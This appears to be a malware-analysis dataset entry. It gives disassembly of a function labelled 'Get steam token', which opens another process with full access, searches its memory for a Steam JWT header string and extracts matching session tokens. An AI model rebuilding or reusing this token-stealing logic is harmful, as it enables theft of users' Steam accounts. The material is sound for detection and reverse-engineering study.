Function at 0x4018c6
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
push 8
call fcn.0040aca0
add esp, 4
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, 0x49fadd
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov eax, 0x49fa53
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401938
push ebx
call fcn.0040ac8e
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
mov eax, 9
call fcn.0040ac9a
cmp dword [ebp - 0x28], esp
je 0x401972
push 0x53
push 0x4029366
push 6
call fcn.0040ac94
add esp, 0xc
mov dword [ebp - 8], eax
xor ecx, ecx
lea eax, [ebp - 0xc]
mov ebx, eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, 5
jg 0x401bee
push 3
push 1
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov eax, str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 8]
call fcn.00401d26
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x401a27
push ebx
call fcn.0040ac8e
add esp, 4
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x401ba9
mov ebx, dword [ebp - 0x18]
call fcn.0040179e
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x401a74
push 0x1ec
push 0x4029366
push 4
call fcn.0040ac94
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x401a91
push 0x1ec
push 0x4029366
push 1
call fcn.0040ac94
add esp, 0xc
shl eax, 3
add ebx, eax
mov dword [ebp - 0x28], ebx
push 0x3e8
mov ebx, dword [ebp - 0x28]
push dword [ebx + 4]
push dword [ebx]
push dword [ebp - 8]
call fcn.00404468
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x401ac4
mov eax, 0x49fadd
push eax
push 1
mov ebx, 0x40c1e0
call fcn.0040aca6
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401aea
push ebx
call fcn.0040ac8e
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x401afe
push ebx
call fcn.0040ac8e
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
call fcn.0040453d
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x401b22
push ebx
call fcn.0040ac8e
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push 1
push 1
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
mov eax, str.derive
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.0040532b
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401b61
push ebx
call fcn.0040ac8e
add esp, 4
cmp dword [ebp - 0x30], 0xffffffff
je 0x401ba1
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x401b87
push eax
mov ebx, eax
call fcn.004017be
inc eax
push eax
call fcn.0040aca0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401b98
push ebx
call fcn.0040ac8e
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x401ba9
pop eax
pop ebx
pop ecx
jmp 0x401a3f
add esp, 0xc
push 0x49fa53
push dword [ebp - 4]
call fcn.00401829
add esp, 8
cmp eax, 0
je 0x401bca
jmp 0x401bee
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
push 1
push 0
push 0x258
call fcn.0040545b
pop ebx
pop ecx
jmp 0x40197c
add esp, 8
mov dword [ebp - 0x28], esp
push dword [ebp - 8]
mov eax, 5
call fcn.0040ac9a
cmp dword [ebp - 0x28], esp
je 0x401c1d
push 0x381
push 0x4029366
push 6
call fcn.0040ac94
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x401c39
push eax
mov ebx, eax
call fcn.004017be
inc eax
push eax
call fcn.0040aca0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x401c3e
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401c4f
push ebx
call fcn.0040ac8e
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
call fcn.0040ac8e
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x401c6b
push ebx
call fcn.0040ac8e
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x401c7b
push ebx
call fcn.0040ac8e
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4